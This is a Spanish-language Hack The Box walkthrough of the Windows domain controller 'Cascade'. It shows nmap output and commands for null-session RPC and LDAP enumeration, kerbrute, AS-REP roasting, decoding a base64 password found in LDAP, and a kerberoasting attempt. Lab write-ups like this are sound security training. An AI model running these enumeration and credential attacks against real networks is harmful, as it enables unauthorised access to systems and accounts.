Entrada

Cascade - WriteUp

Cascade - WriteUp

🎯 Machine Info

Machine Cascade
Platform HTB
OS Windows
Difficulty Medium

Cascade


Máquina Windows DC

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Nmap 7.94SVN scan initiated Tue Nov 28 11:17:30 2023 as: nmap -sCV -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49170 -oN targeted 10.129.117.116
Nmap scan report for 10.129.117.116
Host is up (0.097s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-11-28 10:17:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49170/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-11-28T10:18:23
|_  start_date: 2023-11-28T10:13:58
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -4s

Vamos a intentar enumerar usuarios válidos conectándonos con rpcclient mediante una null session:

1
$ rpcclient -U "" 10.129.117.116

CASCADE

Y podemos enumerarlos. Vamos a copiarnos los usuarios en un archivo de texto para usarlo más adelante limpiando todo lo que nos sobra:

1
$ rpcclient -U "" -N 10.129.117.116 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt

Ya tenemos guardados los usuarios en el archivo “users.txt”

Ahora vamos a validar con kerbrute si los usuarios que tenemos son válidos y nos quedaremos solo con ellos:

1
$ kerbrute userenum --dc 10.129.117.116 -d cascade.local users.txt

CASCADE

Teniendo esto, vamos a intentar conseguir un TGT a través de una ASEPRoast Attack con impacket-GetNPUsers

1
impacket-GetNPUsers -no-pass -usersfile users.txt cascade.local/

CASCADE

Pero no tenemos suerte, de todas formas kerbrute ya nos dejó claro que no lo eran ya que ninguno arrojó el hash en la enumeración.

Vamos a intentar enumerar por SMB con una null session ya que seguimos sin credenciales válidas.

1
smbclient -L 10.129.117.116 -N

CASCADE

Pero tampoco hay suerte. Vamos aprobar por LDAP con ldapsearch

1
2
3
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local"
...
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local" | grep -i userprincipalname

CASCADE

Vamos a ampliar la información de cada línea encontrada para ver si podemos ver más detalles de la cuenta.

1
$ ldapsearch -x -H ldap://10.129.117.116 -b "DC=cascade,DC=local" | cat -l rb

Hacemos una búsqueda con la cadena UserPrincipalName y vamos saltando. En el segundo salto vemos que el usuario s.smith pertenece al grupo Remote Management:

CASCADE

Encontramos un usuario que si tuviéramos sus credenciales podríamos conectarnos con EvilWinRM.

Seguimos y encontramos esto:

CASCADE

Encontramos un password en formato base64 en el usuario r.thompson

1
2
$ echo -n "clk0bjVldmE=" | base64 -d ;echo
rY4n5eva

Probamos las credenciales para ver si son válidas:

1
$ crackmapexec smb 10.129.117.116 -u 'r.thompson' -p 'rY4n5eva'

CASCADE

Pues tenemos nuestras primeras credenciales y recursos compartidos…

Ahora que tenemos un usuario válido vamos a intentar volcar la información del dominio:

1
$ sudo ldapdomaindump -u 'CASCADE.LOCAL\r.thompson' -p 'rY4n5eva' 10.129.117.116

CASCADE

Ahora ya podemos tener de una manera más visual la información del dominio. Levantamos un servidor http con Python y accedemos a la URL http://127.0.0.1/domain_users.html

CASCADE

Ahora podemos explorar la información de una manera más cómoda.

Vamos a probar un “kerberoasting attack” con impacket-GetUserSPNs:

1
2
3
4
5
$ impacket-GetUserSPNs -request 'cascade.local/r.thompson:rY4n5eva'

Impacket v0.11.0 - Copyright 2023 Fortra

No entries found!

Pues por ahora no podemos.

Última actualización: 2025-08-12
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.